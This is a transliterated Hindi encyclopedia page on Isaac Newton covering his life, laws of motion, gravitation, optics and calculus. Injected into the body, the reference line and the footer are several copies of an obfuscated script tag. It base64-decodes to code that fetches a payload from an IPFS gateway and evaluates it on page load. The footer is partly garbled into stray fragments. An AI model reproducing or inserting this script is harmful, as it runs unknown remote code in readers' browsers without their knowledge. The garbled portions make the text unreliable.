आइज़ैक न्यूटन

	aizaik nyootan
	aizaik nyootan\|200px\|center
poora nam	aizaik nyootan
janm	25 disambar, 1642
janm bhoomi	ianglaiand
mrityu	20 march, 1727
mrityu sthan	ianglaiand
karm bhoomi	ianglaiand
karm-kshetr	ganitajn, bhautik vaijnanik, jyotirvid evan darshanik
khoj	gati ke niyam
nagarikata	british
any janakari	nyootan ki 'philosophi nechurelis prinsipiya methemetika', 1687 mean prakashit huee, yah vijnan ke itihas mean apane ap mean sabase prabhavashali pustak hai, jo adhikaansh sahityik yaantriki ke lie adharabhoot kary ki bhoomika nibhati hai.

aizaik nyootan (aangrezi: Isaac Newton, janm: 25 disambar, 1642; mrityu: 20 march, 1727) ek mahanh ganitajn, bhautik vaijnanik, jyotirvid evan darshanik the. nyootan ka nam kisi parichay ka mohataj nahian hai. koee bhi vidyarthi jab vijnan ki duniya mean kadam rakhata hai to jis vaijnanik se sabase pahale vah parichit hota hai vah vaijnanik hai- sar aizaik nyootan. nyootan ke siddhaantoan ne sansar ko ne roop mean dekhane ke parade khol die aur adhunik bhautiki v ianjiniyariang ki buniyad rakhi. nyootan ianglaiand ke vaijnanik the. jinhoanne gurutvakarshan ka niyam aur gati ke siddhaant ki khoj ki.

gati ke niyam

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yaantrik bhautiki ki shuruat nyootan ke gati ke tin niyamoan se hoti hai. saikil se lekar r aauket tak ke nirman mean kahian n kahian ye niyam ju de rahate haian. vaijnanik tarkashastr ki adharashila usane char niyamoan dvara rakhi, jo is prakar haian :

kisi prakritik ghatana ke pichhe ek aur keval ek poornatah saty karan hota hai.
ek tarah ki ghatanaoan ke lie ek hi prakar ke karan hote haian.
vastuoan ke gun sarvatrik roop se har jagah saman hote haian.
kisi ghatana se nikale ge nishkarsh tab tak saty manane chahie jab tak koee any ghatana unhean galat n siddh kar de.

nyootan ne bataya ki chizoan ke prithvi par girane, chandrama ke prithvi ke paritah parikraman, aur grahoan ke soorye ke paritah parikraman ke pichhe ek hi karak hai jo gurutvakarshan ka sarvavyapt bal hai. sath hi pahali bar dravyaman aur bhar ke bich antar bataya. prakash ke kshetr mean kam karate hue nyootan ne bataya ki safed prakash darasal kee rangoan ke prakash ka mishran hota hai. aur sath hi ye bhi bataya ki prakash bahut sookshm kanikaoan ka tez pravah hota hai. halaanki haigens tatha any vaijnanikoan ne kanika siddhaant ko nakarate hue tarang siddhaant par bal diya. kiantu aj ke paripekshy mean plaank ki parikalpana tatha prakash vidhut prabhav ne nyootan siddhaant ko kafi had tak sahi thahara diya hai. dooradarshi ke rang dosh ko door karane ke lie nyootan ne paravartak dooradarshi ka avishkar kiya. ganit ki sarvadhik upayogi shakha kailakulas (Calculus) ke bare mean itihasakaroan ka manana hai ki isaka avishkar nyootan aur laibniz (Leibniz) donoan ne apane apane tarike se kiya tha.halaanki isake asali avishkarak ke lie donoan mean kee varshoan tak vivad bhi chalata raha. madhyamik star par padhaee jane vali dvipad pramey bhi nyootan ke dimag ki upaj hai. paee ka man nikalane ke lie bhi nyootan ne naya pharmoola diya. kisi bhi tarah ki samikaran ke aankik hal ke lie bhi nyootan ne ek pharmoola diya jo nyootan raphsan pharmoola ke nam se jana jata hai. kanpyootar ki gananaoan mean yah kafi upayogi siddh hua hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ mahan vaijnanik sar aizak nyootan (hiandi) Science Bloggers' Association of India. abhigaman tithi: 13 march, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[1] vaijnanik sar aizak nyootan (hiandi) Science Bloggers' Association of India. abhigaman tithi: 13 march, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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